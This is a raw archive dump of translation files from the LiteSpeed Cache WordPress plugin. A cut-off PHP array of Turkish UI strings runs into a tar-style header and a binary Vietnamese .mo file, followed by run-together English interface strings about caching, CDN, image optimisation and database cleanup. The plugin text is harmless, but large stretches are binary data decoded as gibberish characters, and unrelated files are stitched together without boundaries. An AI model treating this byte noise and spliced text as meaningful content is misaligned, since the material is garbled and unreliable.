file.'=>'Geçersiz giriş çerezi. Lütfen %s dosyasını kontrol edin.','The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.'=>'Ön belleğin doğru çalışması için WordPress sitenize hangi kullanıcının giriş yaptığını ayırt edebilmesi gerekir.','There is a WordPress installed for %s.'=>'%s için bir WordPress kurulumu var.','Example use case:'=>'Örnek kullanımı:','The cookie set here will be used for this WordPress installation.'=>'Burada belirtilen çerez WordPress kurulumu için kullanılacaktır.','If every web application uses the same cookie, the server may confuse whether a user is logged in or not.'=>'Her web uygulaması aynı çerez bilgisini kullanıyorsa, sunucu kullanıcının oturup açıp açmadığını karıştırabilir.','This setting is useful for those that have multiple web applications for the same domain.'=>'Bu ayar, aynı alan adı için birden fazla web uygulaması olması durumunda kullanışlıdır.','The default login cookie is %s.'=>'Varsayılan giriş çerezi %s.','Login Cookie'=>'Giriş çerezi','More information about the available commands can be found here.'=>'Kullanılabilir komutlar hakkında daha fazla bilgiyi burada bulabilirsiniz.','These settings are meant for ADVANCED USERS ONLY.'=>'Bu ayarlar SADECE YETKİN KULLANICILAR içindir.','Current %s Contents'=>'Mevcut %s içeriği','Advanced'=>'Gelişmiş','Advanced Settings'=>'Gelişmiş Ayarlar','Purge List'=>'Temizleme listesi','Purge By...'=>'Şunu baz alarak temizle...','URL'=>'URL','Tag'=>'Etiket','Post ID'=>'Post ID','Category'=>'Kategorisi','NOTICE: Database login cookie did not match your login cookie.'=>'DİKKAT: Veritabanı oturum açma çerezi sizin giriş çerezinizle uyuşmuyor.','Purge url %s'=>'URL yi temizle %s','Purge tag %s'=>'%s etiketini temizle','Purge category %s'=>'%s Kategorisini önbellekten sil','When disabling the cache, all cached entries for this site will be purged.'=>'Önbellek devre dışı bırakılırken bu site için var olan tüm önbellek kayıtları temizlenir.','NOTICE'=>'DİKKAT','This setting will edit the .htaccess file.'=>'Bu ayar .htaccess dosyasını düzenleyecektir.','LiteSpeed Cache View .htaccess'=>'LiteSpeed Cache .htaccess\'i görüntüleyin','Failed to back up %s file, aborted changes.'=>'%s dosyası yedeklenemedi, değişiklikler iptal edildi.','Do Not Cache Cookies'=>'Cookie leri Önbellekleme','Do Not Cache User Agents'=>'Tarayıcı kimlik bilgilerini önbelleğe alma','This is to ensure compatibility prior to enabling the cache for all sites.'=>'Bu ön belleği tüm sitelerde etkinleştirmeden önce uyumluluğu sağlamak içindir.','Network Enable Cache'=>'Ağ önbellek etkinleştirme','NOTICE:'=>'DİKKAT:','Other checkboxes will be ignored.'=>'Diğer onay kutuları yok sayılır.','Select "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.'=>'Ön veya ana sayfa dışındaki sayfalardaki yayınlarla bağlantılı dinamik widget\'lar varsa "Tümü" seçeneğini belirleyin.','List of Mobile User Agents'=>'Mobil tarayıcı kimliği listesi','File %s is not writable.'=>'%s Dosyası yazılabilir değil.','JS Settings'=>'JS Ayarları','Manage'=>'Yönet','Default Front Page TTL'=>'Varsayılan Ana Sayfa TTL','Notified LiteSpeed Web Server to purge the front page.'=>'LiteSpeed Web Sunucusu ana sayfa ön belleğinin temizlenmesi için bilgilendirildi.','Purge Front Page'=>'Ana Sayfa Önbellek Kayıtlarını Temizle','Example'=>'Örnek','All tags are cached by default.'=>'Tüm etiketler varsayılan olarak önbelleklenir.','All categories are cached by default.'=>'Tüm kategoriler varsayılan olarak önbelleklenir.','To do an exact match, add %s to the end of the URL.'=>'Tam eşleme yapmak için, %s \'i URL sonuna ekle.','The URLs will be compared to the REQUEST_URI server variable.'=>'URL’ler, REQUEST_URI sunucu değişkeniyle karşılaştırılacaktır.','Select only the archive types that are currently used, the others can be left unchecked.'=>'Yalnızca şu anda kullanılan arşiv türlerini seçin, diğerleri işaretlenmeden bırakılabilir.','Notes'=>'Notlar','Use Network Admin Setting'=>'Ağ yönetici ayarlarını kullanın','Disable'=>'Devre Dışı Bırak','Enabling LiteSpeed Cache for WordPress here enables the cache for the network.'=>'WordPress için LiteSpeed Cache\'i etkinleştirmek ağ için ön belleği etkinleştirecektir.','Disabled'=>'Devre dışı bırakılmış','Enabled'=>'Etkinleştir','Do Not Cache Roles'=>'Önbellekleme Kuralları','https://www.litespeedtech.com'=>'https://www.litespeedtech.com','LiteSpeed Technologies'=>'LiteSpeed Technologies','LiteSpeed Cache'=>'LiteSpeed Cache','Debug Level'=>'Hata ayıklama düzeyi','Notice'=>'Uyarı','Term archive (include category, tag, and tax)'=>'Terim arşivi (kategori, etiket ve taksonomi dahil)','Daily archive'=>'Günlük arşiv','Monthly archive'=>'Aylık arşiv','Yearly archive'=>'Yıllık arşiv','Post type archive'=>'Posta türü arşivi','Author archive'=>'Yazar Arşivi','Home page'=>'Anasayfa','Front page'=>'Ön sayfa','All pages'=>'Tüm sayfalar','Select which pages will be automatically purged when posts are published/updated.'=>'Yazılar yayımlandığında / güncellendiğinde hangi sayfaların otomatik olarak temizleneceğini seçin.','Auto Purge Rules For Publish/Update'=>'Yayım / Güncelleme İçin otomatik temizleme kuralları','Default Public Cache TTL'=>'Varsayılan Genel Önbellek TTL değeri','seconds'=>'saniye','Admin IPs'=>'Admin IP leri','General'=>'Genel','LiteSpeed Cache Settings'=>'LiteSpeed Cache Ayarları','Notified LiteSpeed Web Server to purge all LSCache entries.'=>'LiteSpeed Web Server tüm LSCache kayıtlarını temizlemek için bilgilendirildi.','Purge All'=>'Tümünü temizle','Settings'=>'Seçenekler']];litespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-vi.mo000064400000510532151031165260017767 0ustar00��2�)�<Soo	o'o2Dowoo	�o
�o
�o�o�o�o�o�o	pp	p#p.6pep
rp}p�ph�pN�pgKq\�qorb�re�raIs=�s"�s7tDtSt Wt
xt�tH�t�t�tuu3u'Du
lu	zu�u�u�u%�u�u|�uF_v
�v.�v0�vw% w	Fw"PwswP�w�wT�wZHx>�x�x�x4y-Ay/oyq�yLz2^zI�z*�zJ{Q{`{#l{�{�{Q�{O�{M|sc|E�|P}0n}�}'�}�}�}~3+~_~e~}~$�~	�~	�~�~ �~"�~/
*=h
p~���4-��b�f/�������
��́ځ#���#�C�
P�[�h�����������͂	���
� �-�<�I�8X�&��0��'�*�S<��� �� ΄(��� (�I��g����W�Kl�	��†Ԇ�$	�.�G�_�"w���"��ه!��6�&V�&}�"��GLj!�,1�$^�+����ω��'!�(I�'r���
����ي�1�
5�%C�2i���V��^��
^�i�x�������͌݌&�.�NJ�*��/čV�]K�L�����%� >�_�!q�����
����ȏ����	�"�.�%=�Bc�
��4��&�6
�D�Q�	d�n�������ۑ�� �"<�_�u�/��/��*�<�<V�7��˓ړ���$�
B�	P�Z�c�v�������
”Д	ܔ�����1�
9�G�X�!o�����Õܕ�
��
<�J��S�9��3�);�Me���+ї}��{�D��8ј
��
'�5�L�;X����S� \� }�K��8�#�>�F�Z�o�������˛ޛ��C�_�v�H}�Ɯ؜
ܜ�<�1�K�\�9q�9��
����
#�.�D�_�,z�^��q�x�����N�����#�(��
ߡ����3�M�l�t�������Ģ͢������+�%2�,X�s��'��!�5�"U�%x�����&Ѥ��� �9�L�6R�������ץL�>�9J�:��6��-���$�K��W
�e�v�
������OȨ
�#�;�V�m�u�����
��Qϩ!�1�
L�Z�u� ��0��ڪ���#�4�
:�E�T�k�!�������ګm�������Ǭ�
���	��B*�
m�x���	����2��Zƭ,!�N�c�-~����/��i��;�YZ�K��V�UW�L��B��Y=�:��VҲ`)�J��gճx=�=��@�=5�s�������϶�
��<�?I�������ҷ�?��;�B�R� b�&�� ��D˸�l�G���ѹc�o���
������\�"�7�L�h����#�
+�6�O�
[�
i�/t�/��Խk�<U�
����(���
��#�	/�9�cE���ȿٿ.��
$�/�
D�R�j�w�h����A��I��	�����)�6�'F�
n�|�
��
��"������$��+�8�#J�n�*����������
��
,�$7�(\�����C����P�Fe�F��@��54�2j�B��>��"�=B�&������%����	�%#� I�"j�&��!������ 	�*�B�$a�����������d��P� h���/��.������/�B�_�s��������������������
�)�5�A�P�_�~�%����$��
����������/�@4�
u�%����������>���&� ;�\�*s� ������2��
�&�"C�*f�*��"��"���<�,O�$|�
��
����������
��.��?�6\�;��1��3�25�6h�0���������������Q!�Qs�D��

��#(�-L�$z�?�������7x���%��	������)�@�T�m�$}���E��+�*-�X�n�z���<��������
��
�$�;�N�!_�1��������������2�9�B�T�Rj�c��2!�?T�
������d��<<�5y�S��C�5G�}����K!�Om�'���������9�;M�0��M����p'�|��/�&E�&l�)��8��7��4.�c���
����
�����FI�d��U��K�Xc���������A��A3�u�{���	������������
��	���%,�R�0n���I����$�D8�@}�9��1��*�87�ap����������,�+4�
`�k���P��<��/�O�/n���#�����;i�E�����<��=����Q0�+��������2����(�H�b�
q���� ����������0��N�@�&U�|�{��;�K�d�4z��������F	�P�b�!x���!������.��%�4�H�&f�B�������Y�y�����$������I�
R�`�p�
����:�����;�gD���.���'�d�{���f��$�X1�Q��7�+�J@���g��
��?�^�Qw��0�P�^W�q��	(�2�9D�v~�}��(s�����>����U�Nh�e���
*�8�&U�|�#������9�
�V�iq�_�C;Ga�8)4b/�7�6�76-n)�L�*)>-h(�H�AcJR�MO`(w3��R�.C[l|�
���2��($?5d�����e�-6d/lZ�h�]`	=�	i�	8f
[�
c�
C_j�zA�q�`=
'�
q�
8WXO�>?XKp�E�1-98gM�Y�,H)uS�9�&-)T9~$�X�16Ah^�E	UO(�S�Y"|J�z�(XI�x�^DA�4�)cD0�.�����I�A�Y>*�F�9
DdRp�,C *p 1� ;� /	!(9!Jb!4�!B�!%"ND"Q�"o�"XU#/�#G�#9&$1`$��$�%��%J{&^�&3%'NY'�'W�'�(��(>z)H�)H*<K*1�*V�*L+*^+]�+�+�+�+�+
,$,;,P,
a,o,�,�,�,�,��,/N-(~-)�-�-��-�o.
�.
�.
//./@/@M/�/
�/%�/g�/H+0
t0
0
�0�0�0�0:�0>�0@:1p{1�12202D2W2rv2]�25G3_}3��3({48�4�4#�45$>5.c52�5r�5H86�6!�6�6�6C�6F7G7
T7_7r7�7�7�7�7�7�78#8 =8^8Kf8�8�8+�8�8)9�;9 �9
�9�9:6:K:\:et:J�:j%;K�;d�;MA<J�<�<g�<^=Ru=Z�=#>8>'X>#�>�>��>%]?-�?��?/i@(�@E�@�Au�AF5B0|BD�B.�BS!C4uC*�C�CC�CA8DLzD-�DG�D<=EzE/�E�E�E)�EZFwqF�FC�F<GSH
\HgHoH�HK�H�H�HIJI	fIpIxI�I��I
JJ!J@K-LK+zK@�K�K�K�KLLL-/L&]L#�L�L�L�L�L�L?�L5MLM_MkMz�MEN�FNv�N�DOv�O�mP{QT}QF�QZRtR�R�R�R'�RQ�R1S!>S`S$tS�S'�S�S�S		T!T5T6KT�T��T[@U
�UN�UI�U(@VMiV�V:�V8W�AW)�Ww	X��XP>Y-�Y�Yd�YYAZA�Z��Zq�[Q�[nQ\4�\p�\f]|]4�]�]
�]c�]nV^�^��^Mm_d�_; `\`Cv`%�`/�`9aMJa	�a!�a
�a/�abb)bN@b1�bE�bsc{c�c2�c)�c��cT�d$$e�If
�f#�fgg,g<g4Dgyg�g-�g�g�g�g�gh*h(<h/eh+�h.�h	�h7�h)2i
\igi�i�i�iF�i:jePj<�jP�jjDk(�k(�k'l0)lZl
`l4kl%�l��lsm(�m~�mg4n�n8�n*�n2o@Co3�o!�o$�o-�o--p;[p;�pI�p+q1Iq:{q>�q4�qs*r$�r+�r1�rL!s8ns0�s%�s6�sO5t6�t7�t!�tu'*u%Ru&xuF�u�u7�uE5v{vv�v�w
�w�w�w�w�w�wxx50xNfxt�x**y@Uyp�y|zf�z.�z{1{*P{{{+�{�{�{�{�{#	|*-|X|!n|.�|(�|*�|F}�Z}�}<~8Q~D�~�~�~	�~< ;]1��%�+�?;�3{�"��8ҀT�I`�D��]�]M�X�� �%�C�\�$k�-����Ճ�*��!�6A�.x�����˄݄�
�*�F�
_�m�����.…5�-'�9U���6��!݆'��'�@��L�]A���;��n�0Z�9���ʼn��?��D��C�&S�z�����Bϋ)�<�#Q�#u����[�$v�������(؎�(�5?�u�#����$��h�L�f�br�Ր������%��/7�Lg�L���"�7�Q�	i�s�#����6ɔd��e��#!�#E�Ti���
і�ܖ/��
їߗ#�"�!2�'T�|�	��8��Ș���)
�4�;�N�V�Ac�)��7ϙ��*��Ú'�2�E;�%����9�����4�O�	c�<m�"��!͜ �(��9�ŝAΝP�Ka�B����j��o*���'��ڠ(�1�rG���"ơ1�;�W�i�{�1��
ĢuϢE�%]���'��!��"٣5��2�M�m�(������Ϥ"�,�,5�+b�4���å)��٦#��+�	I�S�d�	~���[�������'�Y,�q��5��.�,I�;v�B��G���=�V֫�-����d@����Q*��|����W��}ܯuZ�YаD*��o�J�Bh�Q�����&/�%V�*|���ŵP�F6�&}�;��,�(
�6�FV�������*Ƿ2�3%�pY�ʸ�޸\b����
����ɺߺ��ۻ޼.��1'�0Y����c�o�~���
����TϾF$�(k����`)���,��2�'��!�4�L�`�h��w�-�&J�q�G���������!�@�3U�����e6����
������������	�Y"�|�������4���$"�+G�/s���3��&��4�E�[�y�����!����4��')�"Q�t�k����r�^��^��mL�[��S�lj�k��/C�rs�8���/�/C�,s���3��!��*�3=�$q�'����7���5-�1c�+�������������&����7�,;�h�z�����0��'�,(�U�d�5y���
��<�����&(�$O�t�	��	������%����8��0�6F�}���
����������U��S�1e�,��������l��J�d�9x���9��,	�	6�1@�Qr�(��!��8�QH�Q��H��85�n�c��H��o1�(��������	����?�aT�Q��l�Ku�K��E
�^S�I�������!�-A�8o�z��c#�g�����6#�QZ�/��S��40��e�1�N�>g����������"� <�]�Lx���b��^H�H��&���(�04�Qe���������	��#���:�'J�;r�
����������0�
L�W�d�,}�|���'�[��T%�"z�%����w��YS�9�����]r�Q��/"��R�|(�{��.!�P�W�!f���l��]�Nq�f��"'�J��^����5��S��J�;]�K��I��F/�7v�
����3�����u��V�f�"S�~v�
����4�iF�a���
�,�E� U�v�
����"�������:.�1i�I���[��-T�E��V�P�Pp�A���K��[�!���
�: �[�r�E��
��(�g�H��!�%�=%P.v��Yei�)`.^��
\'/�� �#�8
E7P2�#���"2%K$q����%�IX*u���c}	�	�	=
3S
+�
�
	�
Z�
5!S-u�/�#�F/v�1�>�r
�
�
�
r�
Yr+�+�)�!x2��"�a3A��p��U?	S8]��?0^��<#|`m�[KH�_�P|p�458!np�]�o����
>LAj���a4(&]�b�=ET����3�>
[7f
�'�T�& �8 �� mQ!Q�!c"�u"h#k|#]�#iF$i�$R%Cm%>�%��%@r&-�&=�&='c]'\�'�(w�(�)!�)7�)F�)W?*
�*��*A+"[+~+�+(�+
�+�+0�+ ,V%,.|,7�,8�,O--l-�-�-�-�-��-Ic.�.8�.��.��/�#0D�0��0H�1��1k2c�2�O3��3V�4��4��5.�6��6*O7Qz7e�7G28z8"�8��8�G9l�:Fc;P�;\�;_X<|�<A5=6w=��=P:>0�>4�>U�>/G?]w??�?g@�}@qA��A=B�LB��B.TCw�C��C;�Da+E��E�UFa�F=`G1�G��G;}H@�H��H��I��J"�KZLj]L8�LtM`vM/�P.Qx6Q��QDGRI�RQ�RX(SH�SN�S�TT�T`�T7YUt�UlV�sVsWP|Wu�WTCXK�X��X��Y?�Z��[�]\K�\N1])�]��]�/^I_l\`��`�SaB�aGbigb{�bXMc��c
)d
4d?d%KdqdA�d�d�d�de6eBe^ede�jeWjfB�fDgJg�ig�Fh�hi%i%8i^itiw�i�ij5jpGjQ�j
kk3kSk_kykO�kN�kf$l��l m:m+Rm)~m�m$�m��m|nnM�n}9oG�oG�phGq*�q:�q-r/DrYtrJ�r�sh�st72tjtntS�t\�t4uGu Xu%yu
�u2�u)�u
v"v@vXv-uv7�v�vt�v\w1hwF�w4�wGx^x"dy�y(�y�y)�yz$z�?zy�z�W{k�{�S|s�|np}-�}�
~%�~k�~�1�2�=�.M�|���9��SՁ<)�Ef�8��p��V��L�]��SZ�h��K�`c�OćA�%V�_|�_܈j<�8��T�`5�0��UNJ(�F�2U�z����ӌr��`��
��'#�K�Ki���!���R�=�M�Z�`��f�,�@�p�
��6��<���"����M��z�%>��rhg��o�B0��! w�|{��iw5z��_�x��f�����2&v�=I����]}��2)�M��&�?�e^���~�QhM��a.2-���������������Z�C�}a�-������
�t���g�)���8�(��'�RT�U�*���%@�����Cke�X.�`�<��^��t�z��\6(��F�y�{�U!�A��o�H��:���N<j;��FD��6�
:��I� N �T���!`�s�(�>�o�(}�s�����@��a>�Y��4�:N5=l,�c��b�	l�����{z��'N�|�Ojc/��m�z�$�Gv�]�=;���b���������
X��@d�����W$��J���,�����Zm�9y������JfV�x��+$v=�l�O
4!�6
�Y���^#3��jB/�&I2��/5����R
��d�+�-�c���������%���?);7���P��j��
t_E�	q�����A�5�3���b�U"��TE�,��QV���b�Z�pWu3���.�9)�>��iW����5��� �"O�	0��G�.�1�e�'���0rHA�yQ
(�w�k���#m'����J���*�7nT�,���T�� �1eU�@�����R��?s|Q����(�9����Y���H�r~��q�4�J��I���P�xW�r�c����mm-��Xv*]���,�-#��u'��*���E��$���~#x\���8��%$Sl��\SM��RaX����L��.�EG��BSq������}u7��G]��]G^/>����Q�17��Z��~����jY�<C:X�^w_fK��B�v[�lk�1��`hp��0S��[��o��F�H�K��Y2���g��CiP�0�
��3������"��A����\+��nZ�/��U���<f;���dn�P��	�f1
i�����o�:����P��@u_�\4	L,�L���Ws����CS�k��D�$= �����%���_�|R���*�F`��!���wh���yp�A�������"��DV�89�
�k�h8��)%{���`ut��6?�N3/�����)����;��|g��8�n�~K�F���c+�#n����r�1t��0�����-�b�+��OL���4�"���+����!��p����[�gDqy��H{��[?.������K7��&�L�q�������}��9����[�V�M��VI'�E	2se�&O#�d&a�i��B�x*�����K��J�dD %s ago%1$s %2$s files left in queue%1$s is a %2$s paid feature.%1$s plugin version %2$s required for this action.%d hour%d hours%d minute%d minutes%d seconds%s Extension%s activation data expired.%s file not readable.%s file not writable.%s group%s groups%s image%s images%s is recommended.%s must be turned ON for this setting to work.(no savings)(non-optm)(optm).htaccess Path<a href="%1$s" %2$s>View version %3$s details</a> or <a href="%4$s" %5$s target="_blank">update now</a>.<p>Please add/replace the following codes into the beginning of %1$s:</p> %2$s<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling.<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster.<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads.<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading.<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall.<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold.A Purge All will be executed when WordPress runs these hooks.A TTL of 0 indicates do not cache.A backup of each image is saved before it is optimized.AJAX Cache TTLAPIAVIF file reduced by %1$s (%2$s)AVIF saved %sAccelerate, Optimize, ProtectAccelerates the speed by caching Gravatar (Globally Recognized Avatars).ActivateAdd Missing SizesAdd new CDN URLAdd new cookie to simulateAdd to BlocklistAdding Style to Your Lazy-Loaded ImagesAdmin IP OnlyAdmin IPsAdvancedAdvanced (Recommended)Advanced SettingsAdvanced level will log more details.AfterAfter the QUIC.cloud Image Optimization server finishes optimization, it will notify your site to pull the optimized images.After verifying that the cache works in general, please test the cart.AggressiveAlias is in use by another QUIC.cloud account.All QUIC.cloud service queues have been cleared.All TransientsAll categories are cached by default.All pagesAll pages with Recent Posts WidgetAll tags are cached by default.Allows listed IPs (one per line) to perform certain actions from their browsers.Already CachedAlways purge both product and categories on changes to the quantity or stock status.An optional second parameter may be used to specify cache control. Use a space to separateAppend query string %s to the resources to bypass this action.Applied the %1$s preset %2$sApply PresetAre you sure to delete all existing blocklist items?Are you sure to destroy all optimized images?Are you sure you want to clear all cloud nodes?Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard.Are you sure you want to redetect the closest cloud server for this service?Are you sure you want to remove all image backups?Are you sure you want to reset all settings back to the default settings?Asynchronous CSS Loading with Critical CSSAttach PHP info to report. Check this box to insert relevant data from %s.Author archiveAuto DraftsAuto Purge Rules For Publish/UpdateAuto Request CronAutoloadAutomatic generation of critical CSS is in the background via a cron-based queue.Automatic generation of unique CSS is in the background via a cron-based queue.Automatically UpgradeAutomatically enable DNS prefetching for all URLs in the document, including images, CSS, JavaScript, and so forth.Automatically generate LQIP in the background via a cron-based queue.Automatically remove the original image backups after fetching optimized images.Automatically request optimization via cron job.Available after %d second(s)Avatar list in queue waiting for updateBackend .htaccess PathBackend Heartbeat ControlBackend Heartbeat TTLBackup created %1$s before applying the %2$s presetBasicBasic Image PlaceholderBeforeBest available WordPress performanceBeta TestBlocklistBlocklistedBlocklisted due to not cacheableBoth %1$s and %2$s are acceptable.Both full URLs and partial strings can be used.Both full and partial strings can be used.BrowserBrowser CacheBrowser Cache SettingsBrowser Cache TTLBrowser caching stores static files locally in the user's browser. Turn on this setting to reduce repeated requests for static files.By default a gray image placeholder %s will be used.By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded.By design, this option may serve stale content. Do not enable this option, if that is not OK with you.CCSS Per URLCCSS Selector AllowlistCDNCDN BandwidthCDN SettingsCDN URLCDN URL to be used. For example, %sCSS & JS CombineCSS CombineCSS Combine External and InlineCSS ExcludesCSS MinifyCSS SettingsCSS, JS and HTML MinificationCSS/JS CacheCacheCache Admin BarCache Comment FormCache CommentersCache Control SettingsCache HitCache Logged-in UsersCache Login PageCache MissCache MobileCache REST APICache StatusCache WP-AdminCache key must be integer or non-empty string, %s given.Cache key must not be an empty string.Cache requests made by WordPress REST API calls.Cache the built-in Admin Bar ESI block.Cache the built-in Comment Form ESI block.Caches your entire site, including dynamic content and <strong>ESI blocks</strong>.Calculate Backups Disk SpaceCalculate Original Image StorageCalculated backups successfully.Can not create folder: %1$s. Error: %2$sCancelCategoryCert or key file does not exist.Changed setting successfully.Changes to this setting do not apply to already-generated LQIPs. To regenerate existing LQIPs, please %s first from the admin bar menu.Check StatusCheck my public IP fromCheck the status of your most important settings and the health of your CDN setup here.Check this option to use the primary site's configuration for all subsites.Clean AllClean Crawler MapClean Up Unfinished DataClean all auto saved draftsClean all orphaned post meta recordsClean all post revisionsClean all spam commentsClean all successfully.Clean all trackbacks and pingbacksClean all transient optionsClean all transients successfully.Clean all trashed commentsClean all trashed posts and pagesClean auto drafts successfully.Clean expired transient optionsClean expired transients successfully.Clean orphaned post meta successfully.Clean post revisions successfully.Clean revisions older than %1$s day(s), excluding %2$s latest revisionsClean spam comments successfully.Clean trackbacks and pingbacks successfully.Clean trashed comments successfully.Clean trashed posts and pages successfully.Cleaned all Critical CSS files.Cleaned all Gravatar files.Cleaned all LQIP files.Cleaned all Unique CSS files.Cleaned all localized resource entries.Cleaned up unfinished data successfully.Clear %s cache when "Purge All" is run.Clear Cloudflare cacheClear LogsCleared %1$s invalid images.Click here to proceed.Click here to set.Click to clear all nodes for further redetection.Click to copyClick to switch to optimized version.Click to switch to original (unoptimized) version.Cloud ErrorCloud server refused the current request due to rate limiting. Please try again later.Cloud server refused the current request due to unpulled images. Please pull the images first.CloudflareCloudflare APICloudflare API is set to off.Cloudflare CacheCloudflare DomainCloudflare SettingsCloudflare ZoneCollapse Query StringsCombine CSS files and inline CSS code.Combine all local JS files into a single file.Comments are supported. Start a line with a %s to turn it into a comment line.Communicated with Cloudflare successfully.Congratulation! Your file was already optimizedCongratulations, %s successfully set this domain up for the anonymous online services.Congratulations, %s successfully set this domain up for the online services with CDN service.Congratulations, %s successfully set this domain up for the online services.Congratulations, all gathered!Connection TestContent Delivery NetworkContent Delivery Network ServiceConvert to InnoDBConverted to InnoDB successfully.Cookie NameCookie SimulationCookie ValuesCopy LogCould not find %1$s in %2$s.Crawl IntervalCrawlerCrawler CronCrawler General SettingsCrawler LogCrawler StatusCrawler disabled by the server admin.Crawler disabled list is cleared! All crawlers are set to active! Crawler(s)Create a post, make sure the front page is accurate.Created with ❤️ by LiteSpeed team.Credits are not enough to proceed the current request.Critical CSSCritical CSS RulesCron NameCurrent %s ContentsCurrent Cloud Nodes in ServiceCurrent crawler started atCurrent image post id positionCurrent limit isCurrent server loadCurrent server time is %s.Current sitemap crawl started atCurrent status is %1$s since %2$s.Current status is %s.Currently active crawlerCurrently using optimized version of AVIF file.Currently using optimized version of WebP file.Currently using optimized version of file.Currently using original (unoptimized) version of AVIF file.Currently using original (unoptimized) version of WebP file.Currently using original (unoptimized) version of file.Custom SitemapDB Optimization SettingsDNS PreconnectDNS PrefetchDNS Prefetch ControlDNS Prefetch for static filesDaily archiveDashboardDatabaseDatabase OptimizerDatabase SummaryDatabase Table Engine ConverterDatabase to be usedDay(s)Debug HelpersDebug LevelDebug LogDebug SettingsDebug String ExcludesDebug URI ExcludesDebug URI IncludesDefaultDefault CacheDefault Feed TTLDefault Front Page TTLDefault HTTP Status Code Page TTLDefault Object LifetimeDefault Private Cache TTLDefault Public Cache TTLDefault REST TTLDefault TTL for cached objects.Default path isDefault port for %1$s is %2$s.Default valueDeferredDeferring until page is parsed or delaying till interaction can help reduce resource contention and improve performance causing a lower FID (Core Web Vitals metric).Delay rendering off-screen HTML elements by its selector.DelayedDelete all backups of the original imagesDelivers global coverage with a growing <strong>network of 80+ PoPs</strong>.Destroy All Optimization DataDestroy all optimization data successfully.Determines how changes in product quantity and product stock status affect product pages and their associated category pages.Development ModeDevelopment Mode will be turned off automatically after three hours.Development mode will be automatically turned off in %s.DisableDisable All FeaturesDisable CacheDisable Image LazyloadDisable VPIDisable WordPress interval heartbeat to reduce server load.Disable this option to generate CCSS per Post Type instead of per page. This can save significant CCSS quota, however it may result in incorrect CSS styling if your site uses a page builder.DisabledDisabled AVIF file successfully.Disabled WebP file successfully.Disabling this may cause WordPress tasks triggered by AJAX to stop working.Disabling this option may negatively affect performance.Disconnect from QUIC.cloudDismissDismiss this noticeDismiss this notice.Do Not Cache CategoriesDo Not Cache CookiesDo Not Cache GroupsDo Not Cache Query StringsDo Not Cache RolesDo Not Cache TagsDo Not Cache URIsDo Not Cache User AgentsDo not purge categories on changes to the quantity or stock status.Do not show this againDomainDowngrade not recommended. May cause fatal error due to refactored code.Drop Query StringESIESI NoncesESI SettingsESI allows you to designate parts of your dynamic page as separate fragments that are then assembled together to make the whole page. In other words, ESI lets you “punch holes” in a page, and then fill those holes with content that may be cached privately, cached publicly with its own TTL, or not cached at all.ESI sample for developersEditor HeartbeatEditor Heartbeat TTLElements with attribute %s in HTML code will be excluded.Elements with attribute %s in html code will be excluded.Email AddressEmpty Entire CacheEmpty blocklistEnable CacheEnable ESIEnable QUIC.cloud CDNEnable QUIC.cloud ServicesEnable QUIC.cloud servicesEnable Viewport Images auto generation cron.Enable replacement of WebP/AVIF in %s elements that were generated outside of WordPress logic.Enable this option if you are using both HTTP and HTTPS in the same domain and are noticing cache irregularities.EnabledEnabled AVIF file successfully.Enabled WebP file successfully.Enabling LiteSpeed Cache for WordPress here enables the cache for the network.Ended reasonEngineEnter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups.Error: Failed to apply the settings %1$sEssentialsEvery MinuteEverything in Advanced, PlusEverything in Aggressive, PlusEverything in Basic, PlusEverything in Essentials, PlusExampleExample use case:Examples of test cases include:Exclude PathExclude SettingsExcludesExpired TransientsExportExport SettingsExtremeFailedFailed to back up %s file, aborted changes.Failed to communicate with CloudflareFailed to communicate with QUIC.cloud serverFailed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup.Failed to create table %1$s! SQL: %2$s.Failed to detect IPFailed to get %s file contents.Failed to get echo data from WPAPIFailed to parse %s activation status.Failed to request via WordPressFailed to upgrade.Failed to validate %s activation data.Failed to write to %s.Fast Queue UsageFile %s is not writable.Filename is empty!FilesFilter %s available for UCSS per page type generation.Filter %s is supported.Folder does not exist: %sFolder is not writable: %s.Font Display OptimizationFor URLs with wildcards, there may be a delay in initiating scheduled purge.For exampleFor example, %1$s defines a TTL of %2$s seconds for %3$s.For example, %s can be used for a transparent placeholder.For example, for %1$s, %2$s and %3$s can be used here.For example, for %1$s, %2$s can be used here.For example, if every Page on the site has different formatting, enter %s in the box. Separate critical CSS files will be stored for every Page on the site.For example, to drop parameters beginning with %1$s, %2$s can be used here.For that reason, please test the site to make sure everything still functions properly.Force Cache URIsForce Public Cache URIsForce cronForced cacheableFree monthly quota available.Free monthly quota available. Can also be used anonymously (no email required).Front pageFrontend .htaccess PathFrontend Heartbeat ControlFrontend Heartbeat TTLGeneralGeneral SettingsGenerate LQIP In BackgroundGenerate Link for Current UserGenerate UCSSGenerate a separate vary cache copy for the mini cart when the cart is not empty.Generated at %sGlobal API Key / API TokenGlobal GroupsGo to QUIC.cloud dashboardGo to plugins listGood news from QUIC.cloud serverGoogle reCAPTCHA will be bypassed automatically.Gravatar CacheGravatar Cache CronGravatar Cache TTLGroups cached at the network level.GuestGuest ModeGuest Mode IPsGuest Mode JS ExcludesGuest Mode User AgentsGuest Mode and Guest OptimizationGuest Mode failed to test.Guest Mode passed testing.Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX.Guest Mode testing resultGuest OptimizationHTML Attribute To ReplaceHTML Keep CommentsHTML Lazy Load SelectorsHTML MinifyHTML SettingsHTTPS sources only.HeartbeatHeartbeat ControlHigh-performance page caching and site optimization from LiteSpeedHigher TTLHistoryHitHome pageHostHow to Fix Problems Caused by CSS/JS Optimization.However, there is no way of knowing all the possible customizations that were implemented.Htaccess did not match configuration option.Htaccess rule is: %sI've already left a reviewIf %1$s is %2$s, then %3$s must be populated!If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. 